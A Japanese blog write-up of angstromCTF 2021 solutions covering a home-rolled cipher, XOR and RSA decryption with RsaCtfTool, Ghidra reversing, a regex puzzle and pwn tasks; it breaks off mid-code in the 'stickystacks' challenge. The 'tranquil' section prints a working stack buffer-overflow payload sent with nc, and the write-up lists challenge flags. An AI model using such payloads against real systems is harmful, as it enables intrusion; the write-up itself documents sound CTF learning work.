もふもふ

くんかくんか

angstromctf 21 writeup

人力パスワードGuessでHatenaにログインできた記念。 ちょっと前のやつだけどせっかく解いたので供養。

archaic

降ってきた.tar.gz解凍したらフラグが生えた。よくわからない

flag: actf{thou_hast_uncovered_ye_ol_fleg}

fish

画像が降ってくる。gimpでalphaを0にしたらフラグが生えた。

f:id:b_tya_nya:20210507122113p:plain

hello rolled crypto

いわゆるオレオレ3段階Block暗号を解く問題。 適当な入力とその暗号文のペアとFlagの暗号文を得ることができる。

各段階は16bytesずつ行われる。

P := 入力

Kn := n段階目の鍵

On := n段階目の出力

と定義すると、一連の暗号化処理は

O1 = (K1 & P) ^ K1

O2 = (K2 & O1) ^ K2

O3 = (K3 & O2) ^ K3

となり、O3が出力される。

与えられたプログラムから任意のP対応するO3を得ることができ、 プログラムから提示されたPに対してO3を求めることができればflagを得ることができる。

各段階に注目すると、 入力が0のとき、

(Kn & 0) ^ Kn = 0 ^ Kn = Kn

となり鍵がそのまま出力される。

入力が1のとき、

(Kn & 1) ^ Kn = Kn ^ Kn = 0

となり、出力は鍵の値にかかわらず0となる。

演算の分配法則に注目して

P = 1 のとき

O1 = 0

O2 = 0 ^ K2 = K2

O3 = (K2 & K3) ^ K3

P = 0のとき O1 = K1

O2 = (K2 & K1) ^ K2

O3 = (((K2 & K1) ^ K2) & K3) ^ K3 = (K2&K1&K3) ^ (K2&K3) ^ K3

P = p(任意入力) のとき

O1 = (K1 & P) ^ K1

O2 = (K2 & *1 ^ K2 = (P & K1 & K2) ^ (K2 & K1 ^ K2) = (P & K1 & K2) ^ O3_1

O3 = (K3 & *2 ^ K2)) ^ K3 = P & (O3_1 ^ O3_0) ^ (O3_1 ^ O3_0) ^ O3_1

となる。

式からP=0とP=1のときの出力が既知のとき、入力Pに対する出力を求めることができる。

以上をコードに落とし込む。

import binascii
BLOCK_SIZE = 16

e1 = input("e1 = ")
e2 = input("e2 = ")


e1 = binascii.unhexlify(e1)
e2 = binascii.unhexlify(e2)

while True:
    p = input("p = ")
    p = binascii.unhexlify(p)

    e = ""
    for i in range(4):
        e1_block = int.from_bytes(e1[i*BLOCK_SIZE:BLOCK_SIZE*(i+1)],'big')
        e2_block = int.from_bytes(e2[i*BLOCK_SIZE:BLOCK_SIZE*(i+1)],'big')
        p_block = int.from_bytes(p[i*BLOCK_SIZE:BLOCK_SIZE*(i+1)],'big')
        tmp = (p_block & (e1_block ^ e2_block)) ^ (e1_block ^ e2_block) ^ e1_block
        e += hex(tmp)[2:].rjust(BLOCK_SIZE*2, "0")

    print(e)
    print(e.encode().decode()[:64])
test@test-Standard-PC-i440FX-PIIX-1996:~/angstromctf21/home_rolled_crypto$ nc crypto.2021.chall.actf.co 21602
Would you like to encrypt [1], or try encrypting [2]? 1
What would you like to encrypt: FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
0a88688080607f86d4a80441208058880a88688080607f86d4a8044120805888
Would you like to encrypt [1], or try encrypting [2]? 1
What would you like to encrypt: 0000000000000000000000000000000000000000000000000000000000000000
0a996a8881607f97d4a82451a0805c8c0a996a8881607f97d4a82451a0805c8c
Would you like to encrypt [1], or try encrypting [2]? 2
Encrypt this: 9de09624ef91cff82467c056af3ba058a66ce8b55c7562e7e41c7648e8c5e082
0a99688880607f87d4a8244120805c8c0a996a8881607f96d4a8045120805c8c
Encrypt this: d60e987f388d550eb938c9c7f52a4bce502219964b7edce094833737260c3ff7
0a996a8081607f97d4a8245120805c880a996a8880607f97d4a80441a0805888
Encrypt this: f0f9bc57cdd3e82fcaa17eb493913ffd6e8aad6f224b81806ca6026d01a3c80d
0a886a8880607f96d4a80441208058880a996a8081607f97d4a82451a0805c88
Encrypt this: aeccf065ef3a17dca45fde55b2c3096257592aa6db4334c844187b0eb4de01c3
0a996a8880607f87d4a8244120805c8c0a88688880607f97d4a8045120805c8c
Encrypt this: cec22dd3934caf5e6b754795e1a8c9de273fcacc90397948889a310767c265da
0a996a8880607f87d4a8244120805c880a88688081607f97d4a80451a080588c
Encrypt this: 1143f0cbb5c882c5437bd692f21cb1234b66ed546fb6c3717b91ac14dd9cf32d
0a986a8080607f96d4a8244120805c8c0a996a8880607f86d4a8044120805c88
Encrypt this: 308d1c7689cc8b2818614a55470fb9a9275a8f1c23b581ced345a110eb5901f3
0a986a8880607f97d4a82441a0805c8c0a89688080607f97d4a8044120805c8c
Encrypt this: bc01d1d2f2c0df3c3a40671adfd82c78248f6bcb26f9f3519e573dc80d71d108
0a986a8881607f87d4a804412080588c0a98688081607f86d4a80451a0805c8c
Encrypt this: d434733ac36c5a176654b7b00c523f368e29fb4e6ee4c7f05f14c2cf92a117e1
0a89688080607f86d4a80441a08058880a98688081607f87d4a824512080588c
Encrypt this: 6bceb795e51bb83aabc5dc663a5d0aa61c3bc2553590d28c141e203c9fe3cdc1
0a99688880607f87d4a82451a0805c880a88688880607f97d4a804412080588c
W
actf{no_bit_shuffling_is_trivial}
Would you like to encrypt [1], or try encrypting [2]? quit
Bye

inifinity gauntlet

elfバイナリが降ってくる。ghidraに放り込んだ結果がこちら。

undefined8 main(void)

{
  int iVar1;
  int iVar2;
  uint uVar3;
  int iVar4;
  FILE *__stream;
  size_t sVar5;
  time_t tVar6;
  undefined8 uVar7;
  byte bVar8;
  uint uVar9;
  uint uVar10;
  byte *__s;
  ulong uVar11;
  ulong uVar12;
  uint uVar13;
  long in_FS_OFFSET;
  uint local_14c;
  byte local_148 [264];
  long local_40;
  
  local_40 = *(long *)(in_FS_OFFSET + 0x28);
  setvbuf(stdout,(char *)0x0,2,0);
  __stream = fopen("flag.txt","r");
  if (__stream == (FILE *)0x0) {
    puts("Couldn\'t find a flag file.");
    uVar7 = 1;
  }
  else {
    __s = local_148;
    fgets((char *)__s,0x100,__stream);
    fclose(__stream);
    sVar5 = strcspn((char *)__s,"\n");
    iVar1 = (int)sVar5;
    local_148[iVar1] = 0;
    if (iVar1 != 0) {
      bVar8 = 0;
      do {
        *__s = *__s ^ bVar8;
        bVar8 = bVar8 + 0x11;
        __s = __s + 1;
      } while (bVar8 != (byte)((char)sVar5 * '\x11'));
    }
    uVar13 = 1;
    tVar6 = time((time_t *)0x0);
    srand((uint)tVar6);
    puts("Welcome to the infinity gauntlet!");
    puts("If you complete the gauntlet, you\'ll get the flag!");
    while( true ) {
      printf("=== ROUND %d ===\n",(ulong)uVar13);
      iVar2 = rand();
      if ((int)uVar13 < 0x32) {
        iVar2 = rand();
        uVar9 = (uint)(iVar2 >> 0x1f) >> 0x10;
        uVar9 = (iVar2 + uVar9 & 0xffff) - uVar9;
      }
      else {
        uVar9 = (iVar2 % iVar1 + uVar13 & 0xff) << 8 | (uint)local_148[iVar2 % iVar1];
      }
      uVar3 = rand();
      if ((uVar3 & 1) == 0) {
        uVar3 = rand();
        if ((uVar3 & 3) == 0) {
          iVar2 = rand();
          iVar4 = rand();
          printf("bar(?, %u, %u) = %u\n",(ulong)(uint)(iVar2 % 0x539),(ulong)(uint)(iVar4 % 0x539),
                 (ulong)((iVar4 % 0x539 + 1U) * (iVar2 % 0x539) + uVar9));
        }
        else {
          uVar10 = (uint)((int)uVar3 >> 0x1f) >> 0x1e;
          iVar2 = (uVar3 + uVar10 & 3) - uVar10;
          if (iVar2 == 1) {
            iVar2 = rand();
            uVar11 = (long)iVar2 % 0x539 & 0xffffffff;
            iVar2 = rand();
            uVar12 = (long)iVar2 % 0x539 & 0xffffffff;
            printf("bar(%u, ?, %u) = %u\n",uVar11,uVar12,
                   (ulong)(((int)uVar12 + 1) * uVar9 + (int)uVar11));
          }
          else {
            if (iVar2 == 2) {
              iVar2 = rand();
              uVar11 = (long)iVar2 % 0x539 & 0xffffffff;
              iVar2 = rand();
              uVar12 = (long)iVar2 % 0x539 & 0xffffffff;
              printf("bar(%u, %u, ?) = %u\n",uVar11,uVar12,
                     (ulong)((uVar9 + 1) * (int)uVar12 + (int)uVar11));
            }
            else {
              if (uVar9 < 0x53a) {
                uVar3 = rand();
                uVar3 = uVar3 % uVar9;
              }
              else {
                iVar2 = rand();
                uVar3 = iVar2 % 0x539;
              }
              printf("bar(%u, %u, %u) = ?\n",(ulong)uVar9 % (ulong)uVar3,(ulong)uVar3,
                     (ulong)(uVar9 / uVar3 - 1));
            }
          }
        }
      }
      else {
        iVar2 = rand();
        if (iVar2 % 3 == 0) {
          iVar2 = rand();
          printf("foo(?, %u) = %u\n",(ulong)(uint)(iVar2 % 0x539),
                 (ulong)(iVar2 % 0x539 + 1U ^ uVar9 ^ 0x539));
        }
        else {
          if (iVar2 % 3 == 1) {
            iVar2 = rand();
            printf("foo(%u, ?) = %u\n",(ulong)(uint)(iVar2 % 0x539),
                   (ulong)(uVar9 + 1 ^ iVar2 % 0x539 ^ 0x539));
          }
          else {
            iVar2 = rand();
            printf("foo(%u, %u) = ?\n",(ulong)(iVar2 % 0x539 + 1U ^ uVar9 ^ 0x539),
                   (ulong)(uint)(iVar2 % 0x539));
          }
        }
      }
      __isoc99_scanf("%u",&local_14c);
      if (local_14c != uVar9) break;
      uVar13 = uVar13 + 1;
      printf("Correct! Maybe round %d will get you the flag ;)\n",(ulong)uVar13);
    }
    puts("Wrong!");
    uVar7 = 0;
  }
  if (local_40 == *(long *)(in_FS_OFFSET + 0x28)) {
    return uVar7;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

ひたすら数字を計算されることを要求される。 0x32回以降、flagの値を用いて数字が計算されるので逆算する。

計算によって求めた値の上位4バイトはindexに、下位4バイトは文字になるので 手元で組み直す。

import pwn
import re
from time import  sleep
import json

i_l = list(range(256))

def process_for_bar(eq):
    eq = eq.decode()
    if 'foo' in eq:
        m = re.match('foo\(([\d|\?]+), ([\d|\?]+)\) = ([\d|\?]+)\n', eq)
        if m:
            A, B, C = m.groups()
            if A == "?":
                return 0x539 ^ int(C) ^ (int(B) + 1)
            if B == "?":
                return (int(A)^int(C)^0x539) -1
            if C == "?":
                return int(A) ^ 0x539 ^ (int(B)+1)
    if 'bar' in eq:
        m = re.match('bar\(([\d|\?]+), ([\d|\?]+), ([\d|\?]+)\) = ([\d|\?]+)\n', eq)
        if m:
            A, B, C, D = m.groups()
            if A == "?":
                return int(D) - (int(B) * (int(C)+1))
            if B == "?":
                return (int(D) - int(A)) / (int(C)+1)
            if C == "?":
                return ((int(D) - int(A)) / int(B)) - 1
            if D == "?":
                return ((int(C)+1) * int(B)) + int(A)
    return None

#io = pwn.process('./infinity_gauntlet', stdin=pwn.PIPE)
io = pwn.remote("shell.actf.co", 21700)

print(io.recvline()) # Welcome~
print(io.recvline()) # If ~

with open("server_flag.json") as f:
    dat = f.read()
    flag = json.loads(dat)

while True:
    io.can_recv(10)
    round_check = io.recvline() # ROUND ~
    print(round_check)
    m = re.match('=== ROUND (\d+) ===\n', round_check.decode())
    round_number = int(m.groups()[0])

    io.can_recv(10)
    eq = io.recvline()
    print(eq)

    randvalue = int(process_for_bar(eq))
    send = str(int(randvalue)) + "\n"
    if send:
        print(send)
        io.send(send.encode())
    else:
        io.interactive()

    io.can_recv(10)
    print(io.recvline())

    if round_number > 0x32:
        index = i_l[((randvalue & (0xff<<8)) >> 8) - (round_number&0xff)]
        char = (randvalue & 0xff) ^ i_l[(0x11*index)%256]
        flag[index] = chr(char)
        p = sorted(flag.items(), key=lambda x:int(x[0]))
        print("".join([c for i, c in p]))

        #with open("server_flag.json", "w") as f:
            #f.write(json.dumps(flag))
    sleep(0.2)

logは長いので省略。

flag: actf{snapped_away_the_end}

exclusive sipher

xorで暗号化されたフラッグが渡される。 問題文に鍵長が5バイトだと書いてる。 フラッグの頭はactf{で始まるのでそれを用いて鍵を復元して残りも復元する。

import binascii
import itertools

C = bytes.fromhex('ae27eb3a148c3cf031079921ea3315cd27eb7d02882bf724169921eb3a469920e07d0b883bf63c018869a5090e8868e331078a68ec2e468c2bf13b1d9a20ea0208882de12e398c2df60211852deb021f823dda35079b2dda25099f35ab7d21822
7e17d0a982bee7d098368f13503cd27f135039f68e62f1f9d3cea7c')

b = b"actf{"

for i in range(len(C)-5):
    key = []

    key.append(C[i]^b[0])
    key.append(C[i+1]^b[1])
    key.append(C[i+2]^b[2])
    key.append(C[i+3]^b[3])
    key.append(C[i+4]^b[4])

    counter = 0
    p = []
    for c in C[i:]:
        p.append(key[counter] ^c)
        counter +=1 
        if counter==5:
            counter = 0
    print("".join(map(chr, p)))

本当は復元した文字列がasciiかどうかで仕分けるべきなのだろうけど、量が少ないので目grepでフラッグを見つける。

flag: actf{who_needs_aes_when_you_have_xor}. Good luck on the other crypto!

dysfunctional

やたら読みにくい暗号化処理が行われているelfとそれを用いてflagを暗号化したものとkey tableと思われるバイナリが降ってくる。 気合で読んで行われてる暗号化と復号化をpythonにしたものがこちら。

import pdb;
import struct
lookup_table = open("not_flag", "rb").read()


def encrypt1(arg):
    arg1 = arg&0x0000ffff

    tmp1 = arg1^0xbeef
    tmp2 = tmp1 * 2
    tmp3 = struct.unpack('l', lookup_table[tmp2:tmp2+2] + b'\x00'*6)[0]

    tmp4 = arg >> 0x10
    tmp5 = tmp4 ^ 0xbeef
    tmp6 = tmp5 * 2
    tmp7 = struct.unpack('l', lookup_table[tmp6:tmp6+2] + b'\x00'*6)[0]
    tmp8 = tmp7 << 0x10

    tmp9 = tmp8 + tmp3
    tmp10 = tmp9 ^ 0xdead

    return tmp10


def encrypt2(arg):
    tmp1 = arg & 0x0000ffff
    tmp2 = 0xcafe ^ tmp1
    tmp3 = tmp2 * 2
    tmp4 = struct.unpack('l', lookup_table[tmp3:tmp3+2] + b'\x00'*6)[0]

    tmp5 = arg >> 0x10
    tmp6 = tmp5 ^ 0xcafe
    tmp7 = tmp6 * 2
    tmp8 = struct.unpack('l', lookup_table[tmp7:tmp7+2] + b'\x00'*6)[0]
    tmp9 = tmp8 << 0x10

    tmp10 = tmp9+tmp4
    tmp11 = tmp10 ^ 0x1337

    return tmp11

def encrypt3(arg):
    arg1 = arg&0x0000ffff

    tmp1 = arg1^0xcafe
    tmp2 = tmp1 * 2
    tmp3 = struct.unpack('l', lookup_table[tmp2:tmp2+2] + b'\x00'*6)[0]

    tmp4 = arg >> 0x10
    tmp5 = tmp4 ^ 0xcafe
    tmp6 = tmp5 * 2
    tmp7 = struct.unpack('l', lookup_table[tmp6:tmp6+2] + b'\x00'*6)[0]
    tmp8 = tmp7 << 0x10

    tmp9 = tmp8 + tmp3
    tmp10 = tmp9 ^ 0x1337

    return tmp10

def encrypt4(arg):
    arg1 = arg&0x0000ffff

    tmp1 = arg1^0xbeef
    tmp2 = tmp1 * 2
    tmp3 = struct.unpack('l', lookup_table[tmp2:tmp2+2] + b'\x00'*6)[0]

    tmp4 = arg >> 0x10
    tmp5 = tmp4 ^ 0xbeef
    tmp6 = tmp5 * 2
    tmp7 = struct.unpack('l', lookup_table[tmp6:tmp6+2] + b'\x00'*6)[0]
    tmp8 = tmp7 << 0x10

    tmp9 = tmp8 + tmp3
    tmp10 = tmp9 ^ 0xdead

    return tmp10

def reverse_index(c):
    bstr = struct.pack('l', c)[0:2]

    index = -1
    while True:
        index = lookup_table.find(bstr, index+1)
        if index%2==0:
            break
        elif index==-1:
            raise
    tmp = int(index / 2)
    return tmp

def solv():
    enc = [0x5400f172, 0x949c5165, 0xc6bc4607, 0xc621d63f, 0xc20c0970, 0xf2b3f53c, 0xaabb67f9, 0xfe0e7abb, 0x6ae46e55, 0xdd212d25, 0xfb681ccb, 0x2ef2f900, 0x75dbefc4, 0xa4e3a8dd, 0x3c6ad4ea, 0x2fa95919, 0x4e6d7b4
4, 0xb66bacf2, 0xa0b7b0a3, 0xee57fd81, 0x452a0ba4, 0xa05d8829, 0x5911680, 0x439efce, 0x75346c63, 0xe2e8d40c, 0x82551eb7, 0x15f70f1, 0x3365c553, 0x4d88f5f1, 0x1ea5b8ab, 0xfaa1a4ae, 0x91567996, 0x13d89930, 0x6b159c
81, 0x35779a3c, 0x5d8573aa, 0x75908ec, 0xb902a84, 0x1501d8a0]

    ret = []
    for c in enc:
        c = c & 0x0000ffff

        # decrypt4
        c = c ^ 0xdead
        c = reverse_index(c)
        c = c ^ 0xbeef

        # decrypt3
        c = c ^ 0x1337
        c = reverse_index(c)
        c = c ^ 0xcafe

        # decrypt2
        c = c ^ 0x1337
        c = reverse_index(c)
        c = c ^ 0xcafe

        # decrypt1
        c = c ^ 0xdead
        c = reverse_index(c)
        c = c ^ 0xbeef

        print(c)
        ret.append(c)
    return ret

p = solv()
buf = []
for i in p:
    buf.append(chr(i&0x00ff))

print("".join(buf))

書き捨てクソコードだけどデバッガー見ながら直していったものだからセーフ

flag: actf{but_wh4t_4b0ut_0bj3ct_d1s0r13nt3d}

sosig

n,e,cが示されたRSA暗号の復号問題。 RsaCtfToolなる便利なものがあったので今回はそれを使った。 もう紙と鉛筆で証明をなぞりながらコードを書かなくていいらしい

$ ./RsaCtfTool.py  -n 14750066592102758338439084633102741562223591219203189630943672052966621000303456154519803347515025343887382895947775102026034724963378796748540962761394976640342952864739817208825060998189863895968377311649727387838842768794907298646858817890355227417112558852941256395099287929105321231423843497683829478037738006465714535962975416749856785131866597896785844920331956408044840947794833607105618537636218805733376160227327430999385381100775206216452873601027657796973537738599486407175485512639216962928342599015083119118427698674651617214613899357676204734972902992520821894997178904380464872430366181367264392613853 -e 1565336867050084418175648255951787385210447426053509940604773714920538186626599544205650930290507488101084406133534952824870574206657001772499200054242869433576997083771681292767883558741035048709147361410374583497093789053796608379349251534173712598809610768827399960892633213891294284028207199214376738821461246246104062752066758753923394299202917181866781416802075330591787701014530384229203479804290513752235720665571406786263275104965317187989010499908261009845580404540057576978451123220079829779640248363439352875353251089877469182322877181082071530177910308044934497618710160920546552403519187122388217521799 --uncipher 13067887214770834859882729083096183414253591114054566867778732927981528109240197732278980637604409077279483576044261261729124748363294247239690562657430782584224122004420301931314936928578830644763492538873493641682521021685732927424356100927290745782276353158739656810783035098550906086848009045459212837777421406519491289258493280923664889713969077391608901130021239064013366080972266795084345524051559582852664261180284051680377362774381414766499086654799238570091955607718664190238379695293781279636807925927079984771290764386461437633167913864077783899895902667170959671987557815445816604741675326291681074212227
private argument is not set, the private key will not be displayed, even if recovered.

[*] Testing key /tmp/tmpelg2fpyy.
[*] Performing smallq attack on /tmp/tmpelg2fpyy.
[*] Performing system_primes_gcd attack on /tmp/tmpelg2fpyy.
100%|███████████████████████████████████████████████████████████████████████████████████████| 2353/2353 [00:00<00:00, 411971.84it/s]
[*] Performing factordb attack on /tmp/tmpelg2fpyy.
[*] Performing mersenne_primes attack on /tmp/tmpelg2fpyy.
100%|███████████████████████████████████████████████████████████████████████████████████████████████| 51/51 [00:01<00:00, 29.90it/s]
[*] Performing pastctfprimes attack on /tmp/tmpelg2fpyy.
100%|█████████████████████████████████████████████████████████████████████████████████████████| 113/113 [00:00<00:00, 539813.61it/s]
[*] Performing fibonacci_gcd attack on /tmp/tmpelg2fpyy.
100%|████████████████████████████████████████████████████████████████████████████████████████| 9999/9999 [00:00<00:00, 70188.07it/s]
[*] Performing ecm2 attack on /tmp/tmpelg2fpyy.
Can't load ecm2 because sage is not installed
[*] Performing siqs attack on /tmp/tmpelg2fpyy.
[!] Warning: Modulus too large for SIQS attack module
[*] Performing small_crt_exp attack on /tmp/tmpelg2fpyy.
Can't load small_crt_exp because sage is not installed
[*] Performing mersenne_pm1_gcd attack on /tmp/tmpelg2fpyy.
100%|████████████████████████████████████████████████████████████████████████████████████████| 2044/2044 [00:00<00:00, 55714.71it/s]
[*] Performing qicheng attack on /tmp/tmpelg2fpyy.
Can't load qicheng because sage is not installed
[*] Performing noveltyprimes attack on /tmp/tmpelg2fpyy.
100%|███████████████████████████████████████████████████████████████████████████████████████████| 21/21 [00:00<00:00, 281406.98it/s]
[*] Performing fermat attack on /tmp/tmpelg2fpyy.
[!] Timeout.
[*] Performing primorial_pm1_gcd attack on /tmp/tmpelg2fpyy.
100%|██████████████████████████████████████████████████████████████████████████████████████| 10000/10000 [00:00<00:00, 10912.27it/s]
[*] Performing comfact_cn attack on /tmp/tmpelg2fpyy.
[*] Performing partial_q attack on /tmp/tmpelg2fpyy.
[*] Performing boneh_durfee attack on /tmp/tmpelg2fpyy.
Can't load boneh_durfee because sage is not installed
[*] Performing z3_solver attack on /tmp/tmpelg2fpyy.
[*] Performing wiener attack on /tmp/tmpelg2fpyy.
100%|███████████████████████████████████████████████████████████████████████████████████████████| 655/655 [00:00<00:00, 2046.33it/s]
  6%|█████▉                                                                                      | 42/655 [00:00<00:00, 2870.70it/s]
[*] Attack success with wiener method !

Results for /tmp/tmpelg2fpyy:

Unciphered data :
HEX : 0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000616374667b643067677921212131313121317d
INT (big endian) : 2171836009541217697584158264673348205034942845
INT (little endian) : 15804014857499183980308679242095643171069528060658942625459961461717500461321378097384874659881191587123315225642911346865877242121610766505562929845580249984395417349928887270944923939737203099604976310091812426728725058756632226038287167697818264770875310702907936299194262488462801486201339410530135369171982105705188575604110988131140122006945055970544653009018942480390380677878622404476939741797268383599786512324973927405445548179730199434746451059943564348186920026153649872419306398034949296512870300598600090343334055930875874861749823555478892475109584363957881933030703932371890176752754830060562426101760
STR : b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00actf{d0ggy!!!111!1}'

flag: actf{d0ggy!!!111!1}

FREE FLAGS!!1!!

読むだけ。 ghidraでデコンパイルしたもの。

undefined4 main(void)

{
  int iVar1;
  size_t sVar2;
  long in_FS_OFFSET;
  undefined4 local_128;
  int local_124;
  int local_120;
  int local_11c;
  char local_118 [264];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  puts("Congratulations! You are the 1000th CTFer!!! Fill out this short survey to get FREE FLAGS!!!");
  puts("What number am I thinking of???");
  __isoc99_scanf("%d",&local_11c);
  if (local_11c == 0x7a69) {
    puts("What two numbers am I thinking of???");
    __isoc99_scanf("%d %d",&local_120,&local_124);
    if ((local_120 + local_124 == 0x476) && (local_120 * local_124 == 0x49f59)) {
      puts("What animal am I thinking of???");
      __isoc99_scanf(" %256s",local_118);
      sVar2 = strcspn(local_118,"\n");
      local_118[sVar2] = '\0';
      iVar1 = strcmp(local_118,"banana");
      if (iVar1 == 0) {
        puts("Wow!!! Now I can sell your information to the Russian government!!!");
        puts("Oh yeah, here\'s the FREE FLAG:");
        print_flag();
        local_128 = 0;
      }
      else {
        puts("Wrong >:((((");
        local_128 = 1;
      }
    }
    else {
      puts("Wrong >:((((");
      local_128 = 1;
    }
  }
  else {
    puts("Wrong >:((((");
    local_128 = 1;
  }
  if (*(long *)(in_FS_OFFSET + 0x28) == local_10) {
    return local_128;
  }
          /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

31337 419, 723 banana と入力すればいい。

flag: どっかいった。

revex

正規表現パズル。渡される正規表現にマッチするのがflag。

String.prototype.match() - JavaScript | MDN

このページでひたすら試行錯誤しながら戻した記憶。 最終結果は次の通り。

const paragraph = 'actf{reGEx_1s_b3stEx_qzuy}';
const regex = /^(?=.*re)(?=.{21}[^_]{4}\}$)(?=.{14}b[^_]{2})(?=.{8}[C-L])(?=.{8}[B-F])(?=.{8}[^B-DF])(?=.{7}G(?<pepega>..).{7}t\k<pepega>)(?=.*u[^z].$)(?=.{11}(?<pepeega>[13])s.{2}(?!\k<pepeega>)[13]s)(?=.*_.{2}_)(?=actf\{)(?=.{21}[p-t])(?=.*1.*3)(?=.{20}(?=.*u)(?=.*y)(?=.*z)(?=.*q)(?=.*_))(?=.*Ex)/g;
//const regex = /^(?=.{20}(?=.*u)(?=.*y)(?=.*z)(?=.*q)(?=.*_))/g
const found = paragraph.match(regex);

console.log(found);
// expected output: Array ["T", "I"]
// > Array [""]

flag: actf{reGEx_1s_b3stEx_qzuy}

keysar_v2

いわゆる単一換え字暗号問題。

Simple substitution cipher

このサイトでちまちま頑張った記憶。 スクショが残ってたのでぺたり。

f:id:b_tya_nya:20210507132009p:plain

relatively simple algorithm

rsa暗号問題。RsaCtfToolなしでは生きていけない

test@test-Standard-PC-i440FX-PIIX-1996:~/angstromctf21/relatively_simple_algorithm/RsaCtfTool$ ./RsaCtfTool.py -n 113138904645172037883970365829067951997230612719077573521906183509830180342554841790268134999423971247602095979484887092205889453631416247856139838680189062511282674134361726455828113825651055263796576482555849771303361415911103661873954509376979834006775895197929252775133737380642752081153063469135950168223 -p 11556895667671057477200219387242513875610589005594481832449286005570409920461121505578566298354611080750154513073654150580136639937876904687126793459819369 -q 9789731420840260962289569924638041579833494812169162102854947552459243338614590024836083625245719375467053459789947717068410632082598060778090631475194567 -e 65537 --uncipher 108644851584756918977851425216398363307810002101894230112870917234519516101802838576315116490794790271121303531868519534061050530562981420826020638383979983010271660175506402389504477695184339442431370630019572693659580322499801215041535132565595864123113626239232420183378765229045037108065155299178074809432
private argument is not set, the private key will not be displayed, even if recovered.

Results for /tmp/tmpliu_y24a:

Unciphered data :
HEX : 0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000616374667b6f6c645f6275745f7374696c6c5f676f6f645f77656c6c5f61745f6c656173745f756e74696c5f7175616e74756d5f636f6d707574696e677d
INT (big endian) : 77829732531886017666421465369706368622254927240332446949265849761777437379574153694975519245766808162296991738636674224619780544798026515410227980157
INT (little endian) : 88061703563610236827293861387910631235184407060684255250239921424433867451178990271277509511415248037435547120683547251281518208022599015192064594968868869852975927930713707299622083406207929929552904520884976584976308120690754751939928170923371232929844023743607981605290539913295411374645437736997756076032
STR : b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00actf{old_but_still_good_well_at_least_until_quantum_computing}'

flag: actf{old_but_still_good_well_at_least_until_quantum_computing}

tranquil

シンプルなバッファーオーバーフロー問題。vuln関数に脆弱性がある。 カナリーなし、no PIEなので何も考えなくて良い。 flagを出してくれるwin関数を呼べば良い。

[*] '/home/test/angstromctf21/tranquil/tranquil'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
int win(){
    char flag[128];
    
    FILE *file = fopen("flag.txt","r");
    
    if (!file) {
        printf("Missing flag.txt. Contact an admin if you see this on remote.");
        exit(1);
    }
    
    fgets(flag, 128, file);
    
    puts(flag);
}

int vuln(){
    char password[64];
    
    puts("Enter the secret word: ");
    
    gets(&password);
    
    
    if(strcmp(password, "password123") == 0){
        puts("Logged in! The flag is somewhere else though...");
    } else {
        puts("Login failed!");
    }
    
    return 0;
}
test@test-Standard-PC-i440FX-PIIX-1996:~/angstromctf21/keysar_v2$echo -n -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x96\x11\x40\x00\x00\x00\x00\x00\n" | nc shell.actf.co 21830
Enter the secret word: 
Login failed!
actf{time_has_gone_so_fast_watching_the_leaves_fall_from_our_instruction_pointer_864f647975d259d7a5bee6e1}

flag: actf{time_has_gone_so_fast_watching_the_leaves_fall_from_our_instruction_pointer_864f647975d259d7a5bee6e1}

stickystacks

stack上に確保された領域にflagが読み出されているので、それをリークさせる問題。

typedef struct Secrets {
    char secret1[50];
    char password[50];
    char birthday[50];
    char ssn[50];
    char flag[128];
} Secrets;


int vuln(){
    char name[7];
    
    Secrets boshsecrets = {
        .secret1 = "CTFs are fun!",
        .password= "password123",
        .birthday = "1/1/1970",
        .ssn = "123-456-7890",
    };
    
    
    FILE *f = fopen("flag.txt","r");
    if (!f) {
        printf("Missing flag.txt. Contact an admin if you see this on remote.");
        exit(1);
    }
    fgets(&(boshsecrets.flag), 128, f);
    
    
    puts("Name: ");
    
    fgets(name, 6, stdin);
    
    
